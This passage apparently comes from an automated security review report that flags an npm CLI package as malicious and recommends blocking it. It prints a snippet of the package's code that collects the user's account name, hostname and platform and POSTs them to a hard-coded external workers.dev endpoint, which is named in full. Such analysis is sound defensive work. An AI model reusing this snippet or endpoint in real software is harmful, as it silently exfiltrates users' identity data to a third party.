The data collection is not needed to provide a visible user-facing function. - **Trigger:** Invoking the package through its CLI, including npx execution. - **Impact:** Exposes the executing user's account and device identity to a third-party endpoint. - **Evidence paths:** cli.js, package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-30T17:52:12.948Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Host identity collection followed by an outbound HTTP POST. - **Attack narrative:** The executable calls whoami, falls back to the operating system user information, and combines that value with hostname and platform data. It then posts those values to a hard-coded external Workers endpoint whenever the CLI runs. Although it has no install hook, this is concrete host-identification exfiltration on normal npx use. - **Rationale:** The package's only implemented behavior is collecting local identity data and posting it to a hard-coded external callback. The absence of an install hook limits the trigger but does not neutralize the confirmed exfiltration. - **Files touched:** cli.js, package.json - **Network endpoints:** https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9 ### Review decision - **Verdict:** Malicious - **Confidence:** 98.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The CLI collects the current account name and host identity, then sends them to an unrelated external callback., The manifest advertises this outbound OOB callback as the package purpose. - **Evidence against:** There are no install lifecycle hooks., The observed data collection runs only when the CLI is invoked. ## Public findings ### 1.

High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** cli.js - **Public source:** [View source]() The CLI collects the current account name and host identity, then sends them to an unrelated external callback. Public source snippet (untrusted): ```javascript async function main() { const user = whoami(); const url = new URL(OOB_URL); url.searchParams.set("pkg", name); url.searchParams.set("whoami", user); try { await fetch(url.toString(), { method: "POST", headers: { "Content-Type": "application/json", "User-Agent": `npx/${name}`, "X-Package-Name": name, }, body: JSON.stringify({ pkg: name, whoami: user, hostname: os.hostname(), platform: os.platform(), }), ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** package.json - **Public source:** [View source]() The manifest advertises this outbound OOB callback as the package purpose.
